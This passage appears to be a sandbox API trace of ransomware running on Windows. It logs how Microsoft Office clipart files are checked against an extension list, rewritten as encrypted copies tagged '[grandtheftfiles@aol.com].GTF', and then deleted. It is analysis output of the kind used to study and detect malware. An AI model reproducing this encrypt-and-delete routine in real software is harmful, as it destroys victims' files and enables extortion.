	[0081.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString=".dbf") returned 4
	[0081.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString=".1cd") returned 4
	[0081.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString=".jpg") returned 4
	[0081.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.705] lstrlenW (lpString=".doc") returned 4
	[0081.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.705] lstrlenW (lpString=".docx") returned 5
	[0081.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.705] lstrlenW (lpString=".pdf") returned 4
	[0081.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString=".xls") returned 4
	[0081.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.706] lstrlenW (lpString=".xlsx") returned 5
	[0081.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.706] lstrlenW (lpString=".ppt") returned 4
	[0081.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.706] lstrlenW (lpString=".zip") returned 4
	[0081.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.706] lstrlenW (lpString=".rar") returned 4
	[0081.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString=".bz2") returned 4
	[0081.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString=".7z") returned 3
	[0081.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.706] lstrlenW (lpString=".dbf") returned 4
	[0081.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.706] lstrlenW (lpString=".1cd") returned 4
	[0081.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0081.706] lstrlenW (lpString=".jpg") returned 4
	[0081.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.706] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.706] lstrlenW (lpString="AN04332_.WMF") returned 12
	[0081.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.707] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4296) returned 1
	[0081.707] CloseHandle (hObject=0x390) returned 1
	[0081.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220
	[0081.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.707] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.707] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.707] GetLastError () returned 0x0
	[0081.707] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x10c8, lpOverlapped=0x0) returned 1
	[0081.709] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x10d0, lpOverlapped=0x0) returned 1
	[0081.710] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.710] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.710] SetEndOfFile (hFile=0x37c) returned 1
	[0081.711] CloseHandle (hObject=0x37c) returned 1
	[0081.712] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.712] SetEndOfFile (hFile=0x390) returned 1
	[0081.713] CloseHandle (hObject=0x390) returned 1
	[0081.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1
	[0081.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.713] lstrlenW (lpString=".doc") returned 4
	[0081.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.713] lstrlenW (lpString=".docx") returned 5
	[0081.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.713] lstrlenW (lpString=".pdf") returned 4
	[0081.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.713] lstrlenW (lpString=".xls") returned 4
	[0081.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.713] lstrlenW (lpString=".xlsx") returned 5
	[0081.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.713] lstrlenW (lpString=".ppt") returned 4
	[0081.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.713] lstrlenW (lpString=".zip") returned 4
	[0081.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.713] lstrlenW (lpString=".rar") returned 4
	[0081.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString=".bz2") returned 4
	[0081.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString=".7z") returned 3
	[0081.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString=".dbf") returned 4
	[0081.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString=".1cd") returned 4
	[0081.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString=".jpg") returned 4
	[0081.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString=".doc") returned 4
	[0081.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString=".docx") returned 5
	[0081.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.714] lstrlenW (lpString=".pdf") returned 4
	[0081.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString=".xls") returned 4
	[0081.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.714] lstrlenW (lpString=".xlsx") returned 5
	[0081.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.714] lstrlenW (lpString=".ppt") returned 4
	[0081.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.714] lstrlenW (lpString=".zip") returned 4
	[0081.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.714] lstrlenW (lpString=".rar") returned 4
	[0081.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.715] lstrlenW (lpString=".bz2") returned 4
	[0081.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.715] lstrlenW (lpString=".7z") returned 3
	[0081.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.715] lstrlenW (lpString=".dbf") returned 4
	[0081.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.715] lstrlenW (lpString=".1cd") returned 4
	[0081.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0081.715] lstrlenW (lpString=".jpg") returned 4
	[0081.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.715] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.715] lstrlenW (lpString="AN04355_.WMF") returned 12
	[0081.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.715] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3228) returned 1
	[0081.715] CloseHandle (hObject=0x390) returned 1
	[0081.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220
	[0081.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.716] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.716] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.716] GetLastError () returned 0x0
	[0081.716] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xc9c, lpOverlapped=0x0) returned 1
	[0081.718] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0081.719] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.719] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.719] SetEndOfFile (hFile=0x37c) returned 1
	[0081.719] CloseHandle (hObject=0x37c) returned 1
	[0081.720] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.720] SetEndOfFile (hFile=0x390) returned 1
	[0081.720] CloseHandle (hObject=0x390) returned 1
	[0081.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1
	[0081.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.721] lstrlenW (lpString=".doc") returned 4
	[0081.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.721] lstrlenW (lpString=".docx") returned 5
	[0081.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.721] lstrlenW (lpString=".pdf") returned 4
	[0081.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.721] lstrlenW (lpString=".xls") returned 4
	[0081.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.721] lstrlenW (lpString=".xlsx") returned 5
	[0081.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.721] lstrlenW (lpString=".ppt") returned 4
	[0081.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".zip") returned 4
	[0081.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.722] lstrlenW (lpString=".rar") returned 4
	[0081.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString=".bz2") returned 4
	[0081.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString=".7z") returned 3
	[0081.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".dbf") returned 4
	[0081.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".1cd") returned 4
	[0081.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".jpg") returned 4
	[0081.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".doc") returned 4
	[0081.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString=".docx") returned 5
	[0081.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.722] lstrlenW (lpString=".pdf") returned 4
	[0081.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString=".xls") returned 4
	[0081.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.722] lstrlenW (lpString=".xlsx") returned 5
	[0081.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.722] lstrlenW (lpString=".ppt") returned 4
	[0081.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.722] lstrlenW (lpString=".zip") returned 4
	[0081.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.722] lstrlenW (lpString=".rar") returned 4
	[0081.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.723] lstrlenW (lpString=".bz2") returned 4
	[0081.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.723] lstrlenW (lpString=".7z") returned 3
	[0081.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.723] lstrlenW (lpString=".dbf") returned 4
	[0081.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.723] lstrlenW (lpString=".1cd") returned 4
	[0081.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0081.723] lstrlenW (lpString=".jpg") returned 4
	[0081.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.723] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.723] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0081.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.724] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4808) returned 1
	[0081.724] CloseHandle (hObject=0x390) returned 1
	[0081.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220
	[0081.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.724] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.724] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.725] GetLastError () returned 0x0
	[0081.725] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0081.726] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0081.727] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.728] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.728] SetEndOfFile (hFile=0x37c) returned 1
	[0081.728] CloseHandle (hObject=0x37c) returned 1
	[0081.728] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.729] SetEndOfFile (hFile=0x390) returned 1
	[0081.729] CloseHandle (hObject=0x390) returned 1
	[0081.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1
	[0081.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.730] lstrlenW (lpString=".doc") returned 4
	[0081.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.730] lstrlenW (lpString=".docx") returned 5
	[0081.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.730] lstrlenW (lpString=".pdf") returned 4
	[0081.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.730] lstrlenW (lpString=".xls") returned 4
	[0081.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.730] lstrlenW (lpString=".xlsx") returned 5
	[0081.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.730] lstrlenW (lpString=".ppt") returned 4
	[0081.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0081.730] lstrlenW (lpString=".zip") returned 4
	[0081.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.731] lstrlenW (lpString=".rar") returned 4
	[0081.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
